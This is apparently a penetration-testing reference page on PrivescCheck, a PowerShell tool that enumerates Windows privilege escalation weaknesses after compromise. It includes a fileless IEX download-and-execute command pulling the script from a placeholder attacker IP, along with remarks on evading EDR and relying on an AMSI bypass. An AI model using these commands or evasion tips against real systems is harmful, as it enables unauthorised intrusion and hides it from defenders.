☼
⌃
☰

PrivescCheck

Table of Contents

PrivescCheck is a PowerShell tool used to efficiently gather information for the Privilege Escalation phase after compromising a Windows machine with low-privileged access. It performs a wide range of checks to identify common and uncommon configuration weaknesses, and — unlike Seatbelt's targeted-command model — defaults to a single comprehensive scored report.

Related: Windows Privilege Escalation WinPEAS Seatbelt Windows Exploit Suggester Windows Privilege Escalation Tools — Comparison

Core Functionality

As a PowerShell script, PrivescCheck is fileless — it can be downloaded and executed directly in memory without writing an executable to disk, which helps evade signature-based EDR detection compared to dropping a compiled binary.

It systematically enumerates five categories of weakness:

  1. Service Misconfigurations: Services running as NT AUTHORITY\SYSTEM whose binary or configuration can be modified by the current low-privileged user (weak ACLs, unquoted service paths).
  2. Weak Permissions: Critical files, folders, and registry keys (especially auto-run/startup locations) with ACLs permitting read/write/modify by the current user.
  3. Credential Discovery: Cached passwords, hashes, keys, and config files containing hardcoded credentials for privileged accounts.
  4. Scheduled Tasks & Startup: Tasks/programs running high-privileged commands but sourcing input or executables from a path the low-privileged user can modify.
  5. Kernel Vulnerabilities: OS and patch-level information, similar in intent to Windows Exploit Suggester though that's a dedicated cross-reference tool and this is a secondary data point within a broader scan.

Running PrivescCheck

POWERSHELL
# Import and run the full check — most common usage
Import-Module .\PrivescCheck.ps1
Invoke-PrivescCheck

# Fileless execution directly from a remote host (no disk write)
IEX(New-Object Net.WebClient).DownloadString('http://<attacker-ip>/PrivescCheck.ps1'); Invoke-PrivescCheck

# Extended checks (includes noisier/slower tests not run by default)
Invoke-PrivescCheck -Extended

# Export results to a file for offline review
Invoke-PrivescCheck -Report privesc_report -Format HTML

Output and Use

PrivescCheck is designed for speed and clarity. Console output is color-coded — red for severe findings — to draw immediate attention to the most viable privilege escalation vectors without requiring you to read a full report line by line.

The tool does not automate exploitation itself; it's purely a scanner. Once it flags a vector (e.g. a weak service ACL or an unquoted service path), pivot to a manual exploitation method or an execution tool to actually escalate.

Tips

  • Run the default (non-extended) scan first — it's faster and covers the highest-yield checks; only reach for -Extended if the default pass comes back clean or ambiguous
  • Cross-reference any flagged kernel/patch information against Windows Exploit Suggester directly rather than relying on PrivescCheck's own summary — the dedicated tool tracks CVEs more precisely
  • The -Report flag is worth using on any box where you're likely to need to reference findings later or hand off a report — console output alone is easy to lose once the session ends
  • Fileless execution via IEX is convenient but generates distinctive network/AMSI telemetry on hardened environments — if AMSI bypass is already part of your session, confirm it holds before relying on this delivery method